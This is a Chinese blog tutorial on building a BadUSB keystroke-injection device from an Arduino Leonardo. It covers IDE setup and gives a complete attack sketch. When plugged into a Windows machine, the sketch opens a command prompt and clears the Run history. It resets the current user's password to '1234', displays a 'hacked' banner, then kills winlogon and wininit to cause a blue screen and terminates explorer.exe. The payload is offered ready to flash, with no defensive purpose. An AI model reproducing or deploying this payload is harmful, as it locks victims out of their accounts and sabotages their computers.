疯狂的极客--制作BadUSB


设备

1、 能够制作badusb的几种常见载体有:Arduino Leonardo、Phison、Teensy、Attiny85、PS2303(芯片)、RUBBER DUCKY等。从专业程度和易用性来讲,RUBBER DUCKY最优(Hak5官方提供了许多现成的按键脚本和payload),但价格也最贵。

2、 一台计算机
在这里插入图片描述

软件

下载Arduino开发者工具——Arduino IDE (用来向leonardo烧录程序的软件)
这里是Arduino IDE下载地址:https://www.arduino.cc/en/software.
下载安装较为简单,这里不再赘述。安装后打开软件,你将看到如下所示的界面图:
在这里插入图片描述

打开工具-开发板-开发板管理器
在这里插入图片描述
联网安装Arduino AVR Boards板子:
在这里插入图片描述
回到主界面,开发板选择,选择工具-开发板- Arduino Leonardo。编程器选择,AVRISP mkII,如下图所示
在这里插入图片描述

编写代码(重点)

前面的准备倒不难,关键是你要实现什么样的功能。
这里有个快速编写命令的工具:Automator
这里附上GitHub上的下载地址:https://github.com/Catboy96/Automator

这里附上一个更改用户的密码、显示蓝屏的代码:

#include<Keyboard.h>
void setup() 
{
  //初始化
  Keyboard.begin();//开始键盘通讯
  delay(5000);//延时
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(200);
  Keyboard.press(KEY_LEFT_GUI);//win键
  delay(200);
  Keyboard.press('r');//r键
  delay(200);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.println("cmd.exe");
  delay(200);
  Keyboard.println("CMD.EXE /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&NET USER %USERNAME% 1234");//修改密码1234
  delay(200);
  Keyboard.println("color a");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ........................................................ >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("echo ## ## ### ###### ## ## ######## ######## >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color 0");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ## ## ## ## ## ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color 1");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ## ## ## ## ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color 2");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ######### ## ## ## ##### ###### ## ## >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color 3");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ## ## ######### ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color 4");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ## ## ## ## ## ## ## ## ## ## ## >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color 5");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ## ## ## ## ###### ## ## ######## ######## >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color 6");//更改命令行颜色(绿色)
  delay(200);
  Keyboard.println("echo ........................................................ >> hacked.txt");//向hacked.txt写内容
  delay(200);
  Keyboard.println("color c");//更改命令行颜色(红色)
  delay(200);
   Keyboard.println("cls");//更改命令行颜色(红色)
  delay(200);
  Keyboard.println("type hacked.txt");//将hacked.txt文件内容打印在cmd
  delay(200);
  Keyboard.println("CMD /C START /MIN CMD /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN CMD /C NTSD -C Q -PN WINLOGON.EXE 1>NUL 2>NUL&TASKKILL /F /IM WININIT.EXE 2>NUL");//蓝屏XP、7
  delay(200);
  Keyboard.println("taskkill /f /im explorer.exe");//删除桌面进程(all)
  delay(200);
  Keyboard.end();//结束键盘通讯
 
}
void loop()//循环
{

}

写好代码后,点击左上角的那个对号进行编译,没有报错信息一般就是成功了。最后,插上你的usb,点击左上角第二个箭头符号进行上传,等待个几十秒就成功了。

  • 1
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

奇异维度

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值